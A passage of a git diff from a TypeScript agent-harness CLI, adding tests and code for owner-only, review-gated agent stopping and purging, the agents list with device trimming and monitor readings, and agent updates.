expect(unconfirmed).toStrictEqual({ error: 'STOP_UNCONFIRMED', detail: 'The process could not be verified.' })+ expect(Object.keys(unconfirmed)).toEqual(['error', 'detail'])+ await expect(request(async () => { throw new Error('tmux gone') })({ agentId: 'a1' })).rejects.toThrow('tmux gone')+ })+})++describe('agent_purge and agent_worktree_delete', () => {+ const OWNER = { owner: true }+ const reviewed = { agentId: 'a1', sessionId: 's1', createdAt: 1234, mode: 'inspect' }+ function setup(service: { request: ReturnType<typeof vi.fn>; worktreeRequest: ReturnType<typeof vi.fn> } | null = {+ request: vi.fn(async () => ({ reviewId: 'review' })), worktreeRequest: vi.fn(async () => ({ reviewId: 'review' })),+ }) {+ const invalidateStorage = vi.fn()+ const replies: Array<Record<string, unknown>> = []+ const purge = createPurgeRequest({ purgeAgentService: () => service as never, invalidateStorage })+ const ask = (type: string, payload: Record<string, unknown>, asker = OWNER) => purge(type, payload, asker, (result) => { replies.push(result) })+ return { service, invalidateStorage, replies, ask }+ }++ it('is the owner\'s alone, and needs a purge service to ask', () => {+ const { service, replies, ask } = setup()+ ask('agent_purge', reviewed, { owner: false })+ expect(replies).toStrictEqual([{ error: 'OWNER_REQUIRED' }])+ expect(service!.request).not.toHaveBeenCalled()+ const none = setup(null)+ none.ask('agent_purge', reviewed)+ expect(none.replies).toStrictEqual([{ error: 'UNSUPPORTED' }])+ })++ it('refuses a request that does not name what was reviewed, or a deletion without its review', () => {+ const { service, replies, ask } = setup()+ for (const wrong of [+ { ...reviewed, agentId: 7 }, { ...reviewed, sessionId: undefined }, { ...reviewed, createdAt: '1234' },+ { ...reviewed, createdAt: Number.NaN }, { ...reviewed, mode: 'erase' }, { ...reviewed, mode: 'describe' },+ { ...reviewed, mode: 'delete' }, { ...reviewed, choices: 'all' }, { ...reviewed, choices: null },+ { ...reviewed, choices: { sessionData: true, worktreeData: 'yes' } }, { ...reviewed, choices: { sessionData: 1, worktreeData: true } },+ ]) ask('agent_purge', wrong)+ expect(replies).toStrictEqual(Array.from({ length: 11 }, () => ({ error: 'INVALID_DELETE_REQUEST' })))+ expect(service!.request).not.toHaveBeenCalled()+ })++ it('hands the purge service exactly what was reviewed and chosen, and answers once it is done', async () => {+ let done!: (result: Record<string, unknown>) => void+ const { service, invalidateStorage, replies, ask } = setup({ request: vi.fn(() => new Promise((resolve) => { done = resolve })), worktreeRequest: vi.fn() })+ ask('agent_purge', { ...reviewed, sessionId: null, mode: 'delete', reviewId: 'review', path: '/reviewed', discardChanges: true,+ includeWorktree: true, choices: { sessionData: false, worktreeData: true }, requestId: 'r' })+ const deletion = service!.request.mock.calls[0][0]+ expect(deletion).toStrictEqual({ agentId: 'a1', sessionId: null, createdAt: 1234, mode: 'delete', reviewId: 'review', path: '/reviewed',+ discardChanges: true, includeWorktree: true, choices: { sessionData: false, worktreeData: true } })+ expect(Object.keys(deletion)).toEqual(['agentId', 'sessionId', 'createdAt', 'mode', 'reviewId', 'path', 'discardChanges', 'includeWorktree', 'choices'])+ expect(replies).toEqual([])+ done({ deleted: true })+ await vi.waitFor(() => expect(replies).toStrictEqual([{ deleted: true }]))+ expect(invalidateStorage).toHaveBeenCalledOnce()+ ask('agent_purge', { ...reviewed, discardChanges: 'yes' })+ expect(service!.request).toHaveBeenLastCalledWith({ ...reviewed, discardChanges: false, includeWorktree: false })+ })++ it('describes, inspects and deletes a worktree through the worktree request, and forgets storage only once something went', async () => {+ const results = [{ worktreeDeleted: true }, { reviewId: 'review' }]+ const { service, invalidateStorage, replies, ask } = setup({ request: vi.fn(), worktreeRequest: vi.fn(async () => results.shift()) })+ ask('agent_worktree_delete', { ...reviewed, mode: 'describe' })+ ask('agent_worktree_delete', reviewed)+ await vi.waitFor(() => expect(replies).toHaveLength(2))+ expect(service!.worktreeRequest.mock.calls.map(([request]) => request.mode)).toEqual(['describe', 'inspect'])+ expect(service!.request).not.toHaveBeenCalled()+ expect(invalidateStorage).toHaveBeenCalledOnce()+ })++ it('says a deletion that failed failed', async () => {+ const { replies, ask } = setup({ request: vi.fn(async () => { throw new Error('disk full') }), worktreeRequest: vi.fn() })+ ask('agent_purge', reviewed)+ await vi.waitFor(() => expect(replies).toStrictEqual([{ error: 'DELETE_FAILED' }]))+ })+})diff --git a/cli/src/core/agents/lifecycle.ts b/cli/src/core/agents/lifecycle.tsindex 17d3890b7..9e84cdc3e 100644--- a/cli/src/core/agents/lifecycle.ts+++ b/cli/src/core/agents/lifecycle.ts@@ -4,16 +4,15 @@** Moved verbatim out of `runForeground` (the core boundary, step 11: docs/design/2026-10-03-harnessd.md).*/-import type { BackendSocket } from '../../backendSocket.js'import type { clearDeleted as clearDeletedFn, markDeleted as markDeletedFn } from '../../lib/deletedSessions.js'import { PurgeAgentService } from '../../lib/purgeAgentService.js'-import type { registry } from '../../lib/registry.js'+import type { registry, RegisteredSession } from '../../lib/registry.js'import { createResumeAgentService, type ResumeAgentServiceDeps } from '../../lib/resumeAgentService.js'import type { SessionCheckpointStore } from '../../lib/sessionCheckpoint.js'import type { StoppedAgentStore } from '../../lib/stoppedAgents.js'-import { createStopAgentService, type StopAgentServiceDeps } from '../../lib/stopAgentService.js'+import { AgentStopError, createStopAgentService, type StopAgentServiceDeps } from '../../lib/stopAgentService.js'-type ResumeAgent = NonNullable<BackendSocket['onResumeAgent']>+import type { ResumeAgent } from './launches.js'export interface LifecycleDeps {registry: typeof registry@@ -76,3 +75,79 @@ export function createAgentLifecycle({? Promise.resolve({ ok: false, error: 'AGENT_BUSY' }) : resume(id, permissionMode)return { stopJobs, stopAgent, purgeAgentService, resumeAgent }}++/**+ * The reply to `agent_delete`: Stop Harness, for the agent the frame names. Its validated engine process+ * is signalled and it leaves the list; its recap and name stay for a later resume. Idempotent: a target+ * already gone is still acknowledged, and `agent_deleted` sent again, so the windows and the device+ * converge. A frame that says which conversation it reviewed (`expectedSessionId`) is refused once that+ * conversation has changed, so a stop never lands on a conversation the person did not see. A stop that+ * could not confirm its process ended says so: never a false success.+ *+ * Moved verbatim out of the socket's request switch (docs/design/2026-10-03-harnessd.md).+ */+export function createStopRequest({ byAgent, stop }: {+ byAgent: (agentId: string) => RegisteredSession | undefined+ stop: (agentId: string) => void | Promise<void>+}) {+ return async (payload: Record<string, unknown>): Promise<Record<string, unknown>> => {+ const target = (payload.agentId as string | undefined) || (payload.sessionId as string | undefined)+ if (!target) return { error: 'MISSING_AGENT_ID' }+ if (Object.hasOwn(payload, 'expectedSessionId')) {+ const current = byAgent(target)+ if (!current || (current.sessionId || null) !== payload.expectedSessionId) {+ return { error: 'SESSION_CHANGED', detail: 'This conversation changed. Refresh and review it before stopping.' }+ }+ }+ try { await stop(target) }+ catch (error) {+ if (!(error instanceof AgentStopError)) throw error+ return { error: error.code, detail: error.message }+ }+ return { deleted: true }+ }+}++/**+ * Answers `agent_purge` and `agent_worktree_delete`: permanent deletion, reviewed first. It deletes what+ * the owner chose, so only the owner may ask: the loopback window, or a sealed `web` session. Every+ * request names the identity it reviewed, and a deletion the review it acts on. Detached: a deletion can+ * take seconds, and terminal input and other agents keep flowing meanwhile.+ *+ * Moved verbatim out of the socket's request switch (docs/design/2026-10-03-harnessd.md).+ */+export function createPurgeRequest({ purgeAgentService, invalidateStorage }: {+ /** The purge service, once it exists. */+ purgeAgentService: () => Pick<PurgeAgentService, 'request' | 'worktreeRequest'> | null+ /** Forgets the monitor's storage readings, once something was deleted. */+ invalidateStorage: () => void+}) {+ return (type: string, payload: Record<string, unknown>, asker: { owner: boolean }, reply: (result: Record<string, unknown>) => void): void => {+ if (!asker.owner) { reply({ error: 'OWNER_REQUIRED' }); return }+ const service = purgeAgentService()+ if (!service) { reply({ error: 'UNSUPPORTED' }); return }+ const { agentId, sessionId, createdAt, mode, reviewId, path, discardChanges, choices, includeWorktree } = payload+ const selected = choices && typeof choices === 'object' ? choices as Record<string, unknown> : null+ if (typeof agentId !== 'string' || !(sessionId === null || typeof sessionId === 'string')+ || typeof createdAt !== 'number' || !Number.isFinite(createdAt)+ || (mode !== 'inspect' && mode !== 'delete' && !(type === 'agent_worktree_delete' && mode === 'describe'))+ || (mode === 'delete' && typeof reviewId !== 'string')+ || (choices !== undefined && (!selected+ || typeof selected.sessionData !== 'boolean' || typeof selected.worktreeData !== 'boolean'))) {+ reply({ error: 'INVALID_DELETE_REQUEST' }); return+ }+ const deletion = { agentId, sessionId, createdAt, mode: mode as 'inspect' | 'delete',+ ...(typeof reviewId === 'string' ? { reviewId } : {}),+ ...(typeof path === 'string' ? { path } : {}), discardChanges: discardChanges === true,+ includeWorktree: includeWorktree === true,+ ...(selected ? { choices: { sessionData: selected.sessionData as boolean, worktreeData: selected.worktreeData as boolean } } : {}) }+ const operation = type === 'agent_worktree_delete'+ ? service.worktreeRequest({ ...deletion, mode: mode as 'describe' | 'inspect' | 'delete' })+ : service.request(deletion)+ void operation+ .then(result => {+ if (result.deleted === true || result.worktreeDeleted === true) invalidateStorage()+ reply(result)+ }, () => reply({ error: 'DELETE_FAILED' }))+ }+}diff --git a/cli/src/core/agents/list.spec.ts b/cli/src/core/agents/list.spec.tsnew file mode 100644index 000000000..bc33da8e1--- /dev/null+++ b/cli/src/core/agents/list.spec.ts@@ -0,0 +1,184 @@+import { describe, expect, it, vi } from 'vitest'+import type { AgentFrame } from '../../lib/agentFrame.js'+import type { RegisteredSession } from '../../lib/registry.js'+import { createAgentList, deviceAgentListItem, deviceAgentRow, type AgentListDeps } from './list.js'++/**+ * `agents_list`, answered by the core: the frames the socket builds, in one order every surface shares,+ * the stopped agents only for a window that asks, a device's rows trimmed to what it draws, and the+ * monitor's readings read outside the connection's ordered requests.+ */+const session = (agentId: string, over: Partial<RegisteredSession> = {}) =>+ ({ agentId, sessionId: `${agentId}-session`, engine: 'claude', ...over }) as RegisteredSession+/** A frame names its agent, its engine and when it was made: what the list sorts and trims by. */+const frame = (s: RegisteredSession, createdAt: string, status = 'active') =>+ ({ id: s.agentId, name: `${s.agentId} name`, engine: s.engine, createdAt, status, selectedModel: null, userId: 'u' }) as unknown as AgentFrame++function setup(live: RegisteredSession[], saved: RegisteredSession[] = [], over: Partial<AgentListDeps> = {}) {+ const created = new Map<string, string>()+ const deps: AgentListDeps = {+ registry: { advertised: vi.fn(() => live) },+ stoppedAgents: { available: vi.fn(() => saved) },+ toProject: vi.fn(async (s) => frame(s, created.get(s.agentId) ?? '2026-10-05T10:00:00.000Z')),+ toStoppedProject: vi.fn(async (s) => frame(s, created.get(s.agentId) ?? '2026-10-05T10:00:00.000Z', 'stopped')),+ harnessResourcesReader: vi.fn(async () => ({ sampledAt: '2026-10-05T12:00:00.000Z', agents: [] })),+ harnessStorageReader: vi.fn(async () => new Map()),+ monitorActivityProvider: null,+ monitorCompletions: { state: vi.fn(() => 'idle' as const) },+ ...over,+ }+ const replies: Array<Record<string, any>> = []+ const ask = (payload: Record<string, unknown>, role: string | null = 'web') =>+ createAgentList(deps).agentsList(payload, () => role, (result) => { replies.push(result) })+ return { deps, created, replies, ask }+}++describe('the agents a window asks for', () => {+ it('every live agent\'s frame, oldest first, an id breaking a tie, and nothing stopped unless asked for', async () => {+ const [a, b, c] = [session('b-agent'), session('a-agent'), session('c-agent')]+ const { created, replies, ask, deps } = setup([a, b, c], [session('saved')])+ created.set('b-agent', '2026-10-05T10:00:00.000Z')+ created.set('a-agent', '2026-10-05T10:00:00.000Z')+ created.set('c-agent', '2026-10-05T09:00:00.000Z')+ await ask({})+ expect(replies).toHaveLength(1)+ expect(Object.keys(replies[0])).toEqual(['agents'])+ expect(replies[0].agents.map((agent: AgentFrame) => agent.id)).toEqual(['c-agent', 'a-agent', 'b-agent'])+ expect(deps.stoppedAgents.available).not.toHaveBeenCalled()+ expect(deps.toStoppedProject).not.toHaveBeenCalled()+ await ask({ includeStopped: 'yes' })+ expect(deps.stoppedAgents.available).not.toHaveBeenCalled()+ })++ it('the stopped agents a person can resume, when a window asks, beside the live ones', async () => {+ const live = [session('live')]+ const { created, replies, ask, deps } = setup(live, [session('saved')])+ created.set('saved', '2026-10-05T08:00:00.000Z')+ await ask({ includeStopped: true })+ expect(deps.stoppedAgents.available).toHaveBeenCalledWith(live)+ expect(replies[0].agents.map((agent: AgentFrame) => [agent.id, agent.status])).toEqual([['saved', 'stopped'], ['live', 'active']])+ })+})++describe('the agents a device asks for', () => {+ it('only the rows it drives, at most a hundred, each with only what its firmware reads, and never a stopped one', async () => {+ const live = [session('shell', { engine: 'terminal' }), ...Array.from({ length: 105 }, (_, i) => session(`agent-${String(i).padStart(3, '0')}`))]+ const { replies, ask, deps } = setup(live, [session('saved')])+ await ask({ includeStopped: true, monitor: true }, 'device')+ expect(deps.stoppedAgents.available).not.toHaveBeenCalled()+ expect(deps.harnessResourcesReader).not.toHaveBeenCalled()+ expect(replies).toHaveLength(1)+ expect(Object.keys(replies[0])).toEqual(['agents'])+ expect(replies[0].agents).toHaveLength(100)+ expect(replies[0].agents[0]).toStrictEqual({ id: 'agent-000', name: 'agent-000 name', engine: 'claude', selectedModel: null })+ expect(replies[0].agents.some((agent: { id: string }) => agent.id === 'shell')).toBe(false)+ })+})++describe('the monitor\'s readings', () => {+ it('are read after the list is answered for, so they never hold the connection\'s next request', async () => {+ let read!: (value: { sampledAt: string; agents: [] }) => void+ const { replies, ask } = setup([session('live')], [], {+ harnessResourcesReader: vi.fn(() => new Promise<{ sampledAt: string; agents: [] }>((resolve) => { read = resolve })),+ })+ await ask({ monitor: true })+ expect(replies).toEqual([])+ read({ sampledAt: '2026-10-05T12:00:00.000Z', agents: [] })+ await vi.waitFor(() => expect(replies).toHaveLength(1))+ expect(Object.keys(replies[0])).toEqual(['agents', 'sharedResources', 'sampledAt'])+ })++ it('each agent\'s activity, processes and storage, in the order they always went out', async () => {+ const working = session('working', { processIdentity: { pid: 4242 } as RegisteredSession['processIdentity'] })+ const finished = session('finished')+ const unread = session('unread')+ const saved = session('saved')+ const activity: Record<string, 'working' | 'idle'> = { 'working-session': 'working', 'finished-session': 'idle', 'unread-session': 'idle' }+ const { created, replies, ask, deps } = setup([working, finished, unread], [saved], {+ harnessResourcesReader: vi.fn(async () => ({+ sampledAt: '2026-10-05T12:00:00.000Z',+ agents: [+ { agentId: 'working', memoryBytes: 123, cpuPercent: 2, processCount: 3, gpuMemoryBytes: 4, gpuPercent: 5,+ diskReadBytesPerSecond: 6, diskWriteBytesPerSecond: 7, processes: [{ pid: 4242, parent: 1, memoryBytes: 123, cpuPercent: 2 }] },+ { agentId: 'finished', memoryBytes: 9, cpuPercent: null, processCount: 1 },+ { agentId: 'saved', memoryBytes: 999, cpuPercent: 99, processCount: null },+ ],+ shared: [{ kind: 'codex' as const, agentIds: ['working'], memoryBytes: 1, cpuPercent: 1, processCount: 1 }],+ })),+ harnessStorageReader: vi.fn(async () => new Map([['working', { workspaceBytes: 10, transcriptBytes: 11 }]]) as never),+ monitorActivityProvider: (sessionId) => activity[sessionId],+ monitorCompletions: { state: vi.fn((s: RegisteredSession) => (s.agentId === 'finished' ? 'done' as const : 'idle' as const)) },+ })+ created.set('working', '2026-10-05T09:00:00.000Z')+ created.set('finished', '2026-10-05T09:01:00.000Z')+ created.set('unread', '2026-10-05T09:02:00.000Z')+ created.set('saved', '2026-10-05T09:03:00.000Z')+ await ask({ monitor: true, includeStopped: true })+ await vi.waitFor(() => expect(replies).toHaveLength(1))+ expect(deps.harnessStorageReader).toHaveBeenCalledWith([working, finished, unread, saved])+ const monitor = (id: string) => replies[0].agents.find((agent: AgentFrame) => agent.id === id).monitor+ expect(Object.keys(monitor('working'))).toEqual([+ 'activity', 'activityKnown', 'rssBytes', 'cpu', 'pid', 'sampledAt', 'processCount', 'gpuMemoryBytes', 'gpuPercent',+ 'diskReadBytesPerSecond', 'diskWriteBytesPerSecond', 'processes', 'workspaceBytes', 'transcriptBytes',+ ])+ expect(monitor('working')).toStrictEqual({+ activity: 'working', activityKnown: true, rssBytes: 123, cpu: 2, pid: 4242, sampledAt: '2026-10-05T12:00:00.000Z',+ processCount: 3, gpuMemoryBytes: 4, gpuPercent: 5, diskReadBytesPerSecond: 6, diskWriteBytesPerSecond: 7,+ processes: [{ pid: 4242, parent: 1, memoryBytes: 123, cpuPercent: 2 }], workspaceBytes: 10, transcriptBytes: 11,+ })+ // Idle by its turns and questions: how its last turn ended. Counted processes, but no process of its own on record.+ expect(monitor('finished')).toMatchObject({ activity: 'done', rssBytes: 9, cpu: null, pid: null, processCount: 1, gpuMemoryBytes: null, processes: [] })+ // Nothing read for it at all.+ expect(monitor('unread')).toMatchObject({ activity: 'idle', rssBytes: null, cpu: null, pid: null, processCount: null })+ // A stopped agent uses nothing, whatever a reading says, and has no turn to report.+ expect(monitor('saved')).toMatchObject({ activity: 'idle', rssBytes: 0, cpu: 0, pid: null })+ expect(replies[0].sharedResources).toEqual([{ kind: 'codex', agentIds: ['working'], memoryBytes: 1, cpuPercent: 1, processCount: 1 }])+ expect(replies[0].sampledAt).toBe('2026-10-05T12:00:00.000Z')+ })++ it('readings that fail read as none, and an activity no one knows reads from the last turn alone', async () => {+ const live = session('live')+ const { replies, ask } = setup([live], [], {+ harnessResourcesReader: vi.fn(async () => { throw new Error('ps failed') }),+ harnessStorageReader: vi.fn(async () => { throw new Error('du failed') }),+ monitorCompletions: { state: vi.fn(() => 'failed' as const) },+ })+ await ask({ monitor: true })+ await vi.waitFor(() => expect(replies).toHaveLength(1))+ expect(replies[0].sharedResources).toEqual([])+ expect(replies[0].sampledAt).toBeNull()+ expect(replies[0].agents[0].monitor).toMatchObject({ activity: 'failed', activityKnown: false, rssBytes: null, sampledAt: null })+ })++ it('a monitor that cannot be put together is answered UNAVAILABLE', async () => {+ const { replies, ask } = setup([session('live')], [], {+ monitorCompletions: { state: vi.fn(() => { throw new Error('broken') }) },+ })+ await ask({ monitor: true })+ await vi.waitFor(() => expect(replies).toEqual([{ error: 'UNAVAILABLE' }]))+ })+})++describe('the device\'s rows', () => {+ it('a name the firmware cannot hold is clipped, by characters and by bytes, with an ellipsis', () => {+ expect(deviceAgentListItem({ id: 'a', name: 'Short name' }).name).toBe('Short name')+ expect(deviceAgentListItem({ id: 'a', name: 'A name far too long for the dial' }).name).toBe('A name far too …')+ // Fifteen characters, but more bytes than the firmware's forty: cut where the bytes run out.+ expect(deviceAgentListItem({ id: 'a', name: '漢字漢字漢字漢字漢字漢字漢字漢' }).name).toBe('漢字漢字漢字漢字漢字漢字…')+ })++ it('keeps the id, a process engine and the model profile, and nothing else', () => {+ expect(deviceAgentListItem(null)).toStrictEqual({ id: undefined })+ expect(deviceAgentListItem({ id: 'a', name: 7, engine: 'terminal', selectedModel: 3, userId: 'secret' })).toStrictEqual({ id: 'a' })+ expect(deviceAgentListItem({ id: 'a', engine: 'codex', selectedModel: 'runtime-v1:s:codex:gpt@high' }))+ .toStrictEqual({ id: 'a', engine: 'codex', selectedModel: 'runtime-v1:s:codex:gpt@high' })+ expect(deviceAgentListItem({ id: 'a', engine: 42, selectedModel: null })).toStrictEqual({ id: 'a', selectedModel: null })+ })++ it('a terminal is no row of a device\'s; anything else is', () => {+ expect(deviceAgentRow({ engine: 'terminal' })).toBe(false)+ expect(deviceAgentRow({ engine: 'claude' })).toBe(true)+ expect(deviceAgentRow(undefined)).toBe(true)+ expect(deviceAgentRow({ engine: 5 })).toBe(true)+ })+})diff --git a/cli/src/core/agents/list.ts b/cli/src/core/agents/list.tsnew file mode 100644index 000000000..b2b9ead12--- /dev/null+++ b/cli/src/core/agents/list.ts@@ -0,0 +1,144 @@+/**+ * The agents on this machine, for a window or a device that asks (`agents_list`): every live agent's+ * frame and, when asked for, the stopped ones a person can resume, in one stable order. A device gets+ * the rows it can draw, trimmed to what its firmware holds; a window that asks for the monitor gets each+ * agent's activity and resource readings as well.+ *+ * Moved verbatim out of the socket's request switch (docs/design/2026-10-03-harnessd.md), with the+ * device trimming it alone used.+ */+import { isTerminalEngine, PROCESS_ENGINES, type ProcessEngine } from '../../engines/types.js'+import type { AgentFrame } from '../../lib/agentFrame.js'+import type { MonitorActivity, MonitorCompletions } from '../../lib/harnessMonitor.js'+import type { createHarnessResourcesReader } from '../../lib/harnessResources.js'+import type { createHarnessStorageReader } from '../../lib/harnessTelemetry.js'+import type { registry, RegisteredSession } from '../../lib/registry.js'+import type { stoppedAgents } from '../../lib/stoppedAgents.js'++const DEVICE_AGENT_LIST_LIMIT = 100+const DEVICE_AGENT_NAME_MAX_CODEPOINTS = 15+const DEVICE_AGENT_NAME_MAX_BYTES = 39 // device project_t.name[40], including trailing NUL on-device.+const DEVICE_ELLIPSIS = '…'++function byteLen(s: string): number {+ return Buffer.byteLength(s, 'utf8')+}++function clipDeviceAgentName(input: string): string {+ const chars = [...input]+ if (chars.length <= DEVICE_AGENT_NAME_MAX_CODEPOINTS && byteLen(input) <= DEVICE_AGENT_NAME_MAX_BYTES) return input+ const ellipsisBytes = byteLen(DEVICE_ELLIPSIS)+ let out = ''+ for (const ch of chars.slice(0, DEVICE_AGENT_NAME_MAX_CODEPOINTS)) {+ if (byteLen(out) + byteLen(ch) + ellipsisBytes > DEVICE_AGENT_NAME_MAX_BYTES) break+ out += ch+ }+ return `${out}${DEVICE_ELLIPSIS}`+}++export function deviceAgentListItem(+ raw: unknown,+): { id: unknown; name?: string; engine?: ProcessEngine; selectedModel?: string | null } {+ const o = (raw ?? {}) as Record<string, unknown>+ const item: { id: unknown; name?: string; engine?: ProcessEngine; selectedModel?: string | null } = { id: o.id }+ if (typeof o.name === 'string') item.name = clipDeviceAgentName(o.name)+ // The dial only ever meets process engines — a terminal never reaches it (see `deviceAgentRow`),+ // and the union here says so rather than repeating fourteen string literals.+ if (typeof o.engine === 'string' && (PROCESS_ENGINES as readonly string[]).includes(o.engine)) item.engine = o.engine as ProcessEngine+ // Runtime model/effort profile (opaque runtime-v1:...) — lets the device render + change model/effort.+ if (typeof o.selectedModel === 'string' || o.selectedModel === null) item.selectedModel = o.selectedModel+ return item+}++/**+ * Whether an agent row belongs on a device at all. The dial drives agents — a terminal with nobody+ * running in it has no turn to watch, no question to answer and no model to switch, so it is not+ * listed there; the same row becomes listable the moment an engine is started inside it and its+ * `engine` flips (registry `adoptEngine`).+ */+export function deviceAgentRow(raw: unknown): boolean {+ const o = (raw ?? {}) as Record<string, unknown>+ return !isTerminalEngine(typeof o.engine === 'string' ? o.engine : undefined)+}++export interface AgentListDeps {+ registry: Pick<typeof registry, 'advertised'>+ /** The saved conversations of stopped agents, less those running again. */+ stoppedAgents: Pick<typeof stoppedAgents, 'available'>+ /** A live agent's frame and a stopped one's, as the socket builds them for every other reply. */+ toProject: (s: RegisteredSession) => Promise<AgentFrame>+ toStoppedProject: (s: RegisteredSession) => Promise<AgentFrame>+ /** The monitor's readings: each agent's processes, and what its workspace and transcript hold. */+ harnessResourcesReader: ReturnType<typeof createHarnessResourcesReader>+ harnessStorageReader: ReturnType<typeof createHarnessStorageReader>+ /** What an agent is doing, from its turns and questions (core/questions.ts). Null while unknown. */+ monitorActivityProvider: ((sessionId: string) => MonitorActivity) | null+ /** How an agent's last turn ended, from the turn frames the socket sent. */+ monitorCompletions: Pick<MonitorCompletions, 'state'>+}++export function createAgentList({+ registry, stoppedAgents, toProject, toStoppedProject, harnessResourcesReader, harnessStorageReader,+ monitorActivityProvider, monitorCompletions,+}: AgentListDeps) {+ /**+ * Answers `agents_list` through `reply`: before it returns, or, for the monitor's readings, once+ * they are read. `sessionRole` is the asking connection's paired role, read where the list needs it.+ */+ const agentsList = async (+ payload: Record<string, unknown>,+ sessionRole: () => string | null,+ reply: (result: Record<string, unknown>) => void,+ ): Promise<void> => {+ const sessions = registry.advertised()+ const projects = await Promise.all(sessions.map((s) => toProject(s)))+ // Older clients/devices keep their live-only contract. The desktop picker+ // explicitly asks for stopped work and receives no stale terminal routes.+ const savedSessions = payload.includeStopped === true && sessionRole() !== 'device' ? stoppedAgents.available(sessions) : []+ projects.push(...await Promise.all(savedSessions.map(s => toStoppedProject(s))))+ // Ordered by creation time, oldest → newest — a stable tab order that doesn't reshuffle as+ // sessions become active (createdAt = the session's registeredAt). The id breaks a tie so the+ // order is TOTAL: without it two agents registered in the same millisecond fall through to array+ // position, which is Map insertion order and differs between daemon runs — the web, the app and+ // the dial would each show a different order for the same registry. `cableHost.listAgents`+ // sorts by the same rule; the two must stay identical.+ projects.sort((a, b) => Date.parse(a.createdAt) - Date.parse(b.createdAt) || a.id.localeCompare(b.id))+ if (sessionRole() === 'device') {+ reply({ agents: projects.filter(deviceAgentRow).slice(0, DEVICE_AGENT_LIST_LIMIT).map(deviceAgentListItem) })+ return+ }+ if (payload.monitor === true) {+ // Optional telemetry must never hold the ordered terminal-input queue.+ void (async () => {+ const [snapshot, storage] = await Promise.all([+ harnessResourcesReader().catch(() => ({ agents: [], sampledAt: null, shared: [] })),+ harnessStorageReader([...sessions, ...savedSessions]).catch(() => new Map()),+ ])+ const resources = new Map(snapshot.agents.map(row => [row.agentId, row]))+ const byId = new Map(sessions.map(s => [s.agentId, s]))+ reply({ agents: projects.map(agent => {+ const session = byId.get(agent.id)+ const activity = session ? monitorActivityProvider?.(session.sessionId) : null+ const reading = resources.get(agent.id)+ return { ...agent, monitor: {+ activity: activity && activity !== 'idle' ? activity : session ? monitorCompletions.state(session) : 'idle',+ activityKnown: monitorActivityProvider !== null,+ rssBytes: agent.status === 'stopped' ? 0 : reading?.memoryBytes ?? null,+ cpu: agent.status === 'stopped' ? 0 : reading?.cpuPercent ?? null,+ pid: reading?.processCount != null ? session?.processIdentity?.pid ?? null : null,+ sampledAt: snapshot.sampledAt,+ processCount: reading?.processCount ?? null,+ gpuMemoryBytes: reading?.gpuMemoryBytes ?? null,+ gpuPercent: reading?.gpuPercent ?? null,+ diskReadBytesPerSecond: reading?.diskReadBytesPerSecond ?? null,+ diskWriteBytesPerSecond: reading?.diskWriteBytesPerSecond ?? null,+ processes: reading?.processes ?? [],+ ...(storage.get(agent.id) ?? {}),+ } }+ }), sharedResources: snapshot.shared ?? [], sampledAt: snapshot.sampledAt })+ })().catch(() => reply({ error: 'UNAVAILABLE' }))+ } else reply({ agents: projects })+ }++ return { agentsList }+}diff --git a/cli/src/core/agents/restart.ts b/cli/src/core/agents/restart.tsindex ae0657644..49b78d40b 100644--- a/cli/src/core/agents/restart.ts+++ b/cli/src/core/agents/restart.ts@@ -4,7 +4,6 @@* Moved verbatim out of `runForeground` (the core boundary, step 11: docs/design/2026-10-03-harnessd.md).*/import { homedir } from 'node:os'-import type { BackendSocket } from '../../backendSocket.js'import { isTerminalEngine, type AgentEngine } from '../../engines/types.js'import { engineBin, enginePathOverride } from '../../lib/engineBin.js'import { engineInstallRecipe } from '../../lib/engineInstall.js'@@ -21,6 +20,7 @@ import { clearPaneRemainOnExit } from '../../lib/tmux.js'import type { TmuxBackend } from '../../lib/tmuxBackend.js'import { workspaceMissing } from '../../lib/workspaceCheck.js'import type { createLaunchHelpers } from './launch.js'+import type { RestartAgent } from './launches.js'import type { PaneSwap } from './swap.js'type LaunchHelpers = ReturnType<typeof createLaunchHelpers>@@ -43,7 +43,7 @@ async function engineInstalled(engine: AgentEngine): Promise<boolean | null> {return installed || Date.now() - startedAt < ENGINE_CHECK_GAVE_UP_MS ? installed : null}-type RestartAgentHandler = NonNullable<BackendSocket['onRestartAgent']>+type RestartAgentHandler = RestartAgentexport interface RestartDeps {restartJobs: PaneSwap['restartJobs']diff --git a/cli/src/core/agents/update.spec.ts b/cli/src/core/agents/update.spec.tsnew file mode 100644index 000000000..a23302542--- /dev/null+++ b/cli/src/core/agents/update.spec.ts@@ -0,0 +1,136 @@+import { afterEach, describe, expect, it, vi } from 'vitest'+import type { AgentFrame } from '../../lib/agentFrame.js'+import type { RegisteredSession } from '../../lib/registry.js'+import { RuntimeProfileControlError } from '../../lib/runtimeProfileController.js'+import { AGENT_OPENED_THROTTLE_MS, createAgentUpdate, type AgentUpdateDeps } from './update.js'++/**+ * `agent_update`, answered by the core: a rename, a model and effort, or an app opening the agent. The+ * reply is the frame as it stands after, and it goes out before any window hears of the change.+ */+const NOW = Date.UTC(2026, 9, 5, 9, 0)+const row = (over: Partial<RegisteredSession> = {}) => ({ agentId: 'a1', sessionId: 's1', engine: 'claude', ...over }) as RegisteredSession++function setup(over: Partial<AgentUpdateDeps> = {}, agent: RegisteredSession | null = row()) {+ const heard: Array<[string, unknown]> = []+ const deps: AgentUpdateDeps = {+ registry: {+ resolve: vi.fn(() => agent ?? undefined),+ rename: vi.fn((_id: string, name: string) => row({ ...agent, defaultName: name })),+ markOpened: vi.fn(() => row({ ...agent, lastOpenedAt: NOW })),+ terminalAvailable: vi.fn(() => true),+ },+ onRuntimeProfileUpdate: vi.fn(async () => {}),+ onAgentRename: vi.fn(),+ closeAgentService: () => ({ cancel: vi.fn() }),+ toProject: vi.fn(async (s: RegisteredSession) => ({ id: s.agentId, name: s.defaultName ?? 'Agent', lastOpenedAt: s.lastOpenedAt ?? null }) as unknown as AgentFrame),+ clients: { send: vi.fn((frame) => { heard.push(['send', frame]) }), sendCommander: vi.fn((frame) => { heard.push(['device', frame]) }) },+ ...over,+ }+ const ask = (payload: Record<string, unknown>) => createAgentUpdate(deps).agentUpdate(payload, (result) => { heard.push(['reply', result]) })+ return { deps, heard, ask }+}++afterEach(() => {+ vi.useRealTimers()+ vi.restoreAllMocks()+})++describe('what an update must say', () => {+ it('which agent, and at least one of a name, a model or an open; a name that is not blank; an agent that exists', async () => {+ const { heard, ask, deps } = setup()+ await ask({ name: 'x' })+ await ask({ agentId: 'a1' })+ await ask({ agentId: 'a1', opened: 'yes' })+ await ask({ agentId: 'a1', name: ' ' })+ await ask({ agentId: 'a1', name: 7 })+ 